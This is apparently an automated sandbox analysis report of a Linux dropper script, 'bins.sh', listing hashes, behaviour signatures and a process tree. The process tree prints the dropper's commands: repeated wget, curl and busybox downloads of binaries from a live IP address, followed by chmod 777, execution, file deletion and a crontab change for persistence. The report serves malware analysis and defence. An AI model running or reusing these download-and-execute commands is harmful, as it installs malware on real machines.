Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 07:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9df6a14e6b4001c13a62b4575e200d63

  • SHA1

    cf287c33fa75d8178ce187e258d33ff816a4e30e

  • SHA256

    0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51

  • SHA512

    1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163

  • SSDEEP

    192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz

Malware Config

Signatures

  • Contacts a large (1754) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:665
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Executes dropped EXE
          PID:677
        • /bin/rm
          rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
            PID:679
          • /usr/bin/wget
            wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:682
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:683
          • /bin/chmod
            chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • File and Directory Permissions Modification
            PID:692
          • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Executes dropped EXE
            PID:694
          • /bin/rm
            rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
              PID:697
            • /usr/bin/wget
              wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:699
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:704
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:711
            • /bin/chmod
              chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • File and Directory Permissions Modification
              PID:714
            • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Executes dropped EXE
              PID:715
            • /bin/rm
              rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
                PID:719
              • /usr/bin/wget
                wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • Writes file to tmp directory
                PID:721
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:730
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • Writes file to tmp directory
                PID:744
              • /bin/chmod
                chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • File and Directory Permissions Modification
                PID:746
              • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                • Executes dropped EXE
                PID:747
              • /bin/rm
                rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                2⤵
                  PID:749
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • Writes file to tmp directory
                  PID:750
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:751
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /bin/chmod
                  chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • File and Directory Permissions Modification
                  PID:753
                • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                  • Executes dropped EXE
                  PID:754
                • /bin/rm
                  rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                  2⤵
                    PID:756
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • Writes file to tmp directory
                    PID:757
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:764
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • Writes file to tmp directory
                    PID:771
                  • /bin/chmod
                    chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • File and Directory Permissions Modification
                    PID:774
                  • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                    • Executes dropped EXE
                    PID:775
                  • /bin/rm
                    rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                    2⤵
                      PID:777
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Writes file to tmp directory
                      PID:778
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:785
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Writes file to tmp directory
                      PID:792
                    • /bin/chmod
                      chmod 777 wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • File and Directory Permissions Modification
                      PID:795
                    • /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      ./wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                      • Executes dropped EXE
                      PID:796
                    • /bin/rm
                      rm wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                      2⤵
                        PID:798
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                        2⤵
                        • Writes file to tmp directory
                        PID:799
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:802
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                        2⤵
                        • Writes file to tmp directory
                        PID:803
                      • /bin/chmod
                        chmod 777 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:804
                      • /tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                        ./4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:805
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:807
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:808
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:809
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:810
                            • /bin/rm
                              rm 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                              2⤵
                                PID:812
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
                                2⤵
                                  PID:815

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /var/spool/cron/crontabs/tmp.CQQwSd

                                Filesize

                                210B

                                MD5

                                5bfb076cef08992c162662041a0f2710

                                SHA1

                                51035b4f2d96a3f3f3980879f1de5a9e9e710aae

                                SHA256

                                380d48a1abf2b26fa4bb01980457a0281a36104b32bff7ec580e9d8918e82b0a

                                SHA512

                                bfafa7b2e8d076f12c942cb74fa90cba1fcd270b95b615e68032fec4c4c36f6d75cb68b7910198d32745bc39e14edabb572cff1b484cbb05eb50b48e1187749e